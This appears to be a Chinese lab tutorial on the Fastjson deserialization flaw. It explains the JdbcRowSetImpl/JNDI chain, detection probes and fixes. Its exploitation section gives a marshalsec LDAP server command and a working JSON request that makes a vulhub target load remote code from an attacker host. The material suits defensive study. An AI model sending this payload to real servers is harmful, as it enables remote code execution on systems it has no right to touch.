Fastjson反序列化漏洞

Posted candada

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Fastjson反序列化漏洞相关的知识,希望对你有一定的参考价值。

Fastjson反序列化漏洞

一、Fastjson介绍

1、什么是fastjson?

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

2、fastjson的优点

  • 速度快
  • 使用广泛
  • 测试完备
  • 使用简单

二、影响范围:

fastjson <= 1.2.24

三、漏洞原理

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

1、JdbcRowSetlmpl类反序列化,调用JdbcRowSetlmpl类的setAutoCommit()方法

2、setAutoCommit()调用connect()

3、connect()调用lookup()连接到LDAP/RMI服务器

4、下载恶意代码到本地,执行,攻击发生

个人理解(不一定正确):

​ fastjson在反序列化json字符时,可以通过autoType来指定反序列化的类,并调用相关方法的set方法(这里调用了dataSourceName和autoCommit方法,反序列化后自动会调用setdataSourceName和setautoCommit方法并把参数传入),而setautoCommit方法中调用了connect方法,connect方法中调用了lookup方法,可以通过JNDI去访问LDAP、RMI等服务,又因为ldap存在命名引用,如果不存在指定文件,就会去指定的url下载到本地,如果下载的.class文件包含无参构造函数和静态代码块就会被自动执行,从而造成任意代码执行。

​ 感觉和log4j JNDI注入漏洞极其相似,都是因为lookup方法没有进行限制导致的漏洞,但前期利用的方式缺不同,fastjson是通过autoType来反序列化JdbcRowSetlmpl类,通过setautoCommit方法调用到lookup方法,而log4j是因为日志调用方法中调用了lookup方法。

四、漏洞利用

1、先开启vulhub中fastjson靶机

2、开启获取资源的http服务器

3、把恶意的.java文件编译后的.class文件放到http服务器上(需要用jdk1.8版本)

4、开启RMI/LDAP服务(本机的9999端口)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.1/#TouchFile" 9999

5、bp发送payload

POST / HTTP/1.1
Host: 192.168.142.133:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 166


    "b":
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.142.1:9999/File",
        "autoCommit":true
    

五、漏洞发现

1、找到发送json序列化数据的接口

2、判断是否使用fastjson

(1)非法格式报错

"x":"

(2)使用dnslog探测

"x":"@type":"java.net.Inet4Address","val":"xxx.dnslog.com"

(3)Burpsuit插件

六、漏洞修复

1、升级JDK

JDK7u21之后:

java.rmi.server.useCodebaseOnly的默认值被设置为True。当该值为true时,将禁用自动加载远程类文件,仅从本地加载文件。

JDK8u121之后:

增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本无法触发该漏洞,但依然可以用LDAP协议来进行JNDI注入攻击。

JDK8u191之后:

com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase选项,把LDAP协议攻击途径也禁用了。

2、升级Fastjson

fastjson.parser.safeMode=true

3、使用安全产品过滤非法内容

4、更换其他序列化工具

Jackson/Gson

fastjson 1.2.74版本发布,fastjson反序列化漏洞升级

更新说明

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
但在安全方面fastjson总是被曝出存在反序列化安全漏洞,会造成会服务器的攻击,风险极大。

影响版本

fastjson <=1.2.68
fastjson sec版本 <= sec9
android版本不受此漏洞影响

解决办法

升级至最新版本1.2.74

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.74</version>
</dependency>

1.2.74更新说明

Issues

修复序列化时BeforeFilter/AfterFilter某些场景报空指针异常的问题 #3373 #3475
TypeUtils float/double转换为BigInteger/BigDecimal时判断isNan和isInfinite
支持通过启动参数和fastjson.properties配置fastjson.auto.discoverable, 解决某些场景fastjson与jackson冲突问题
增强对Jdk8日期格式化支持 #3288
修复某些场景对泛型推导不正确的问题 #3448
修复JSONValidator某些场景结果不对的问题 #3453 #3460
序列化增加对org.json.JSONObject的支持

应用项目案例

https://github.com/matevip/matecloud

以上是关于Fastjson反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章

FastJson反序列化漏洞(实验文章)

fastjson<=1.2.47-反序列化漏洞-命令执行-漏洞复现

fastjson反序列化漏洞学习

Fastjson反序列化漏洞风险通告

Fastjson反序列化漏洞预警

fastjson 1.2.74版本发布,fastjson反序列化漏洞升级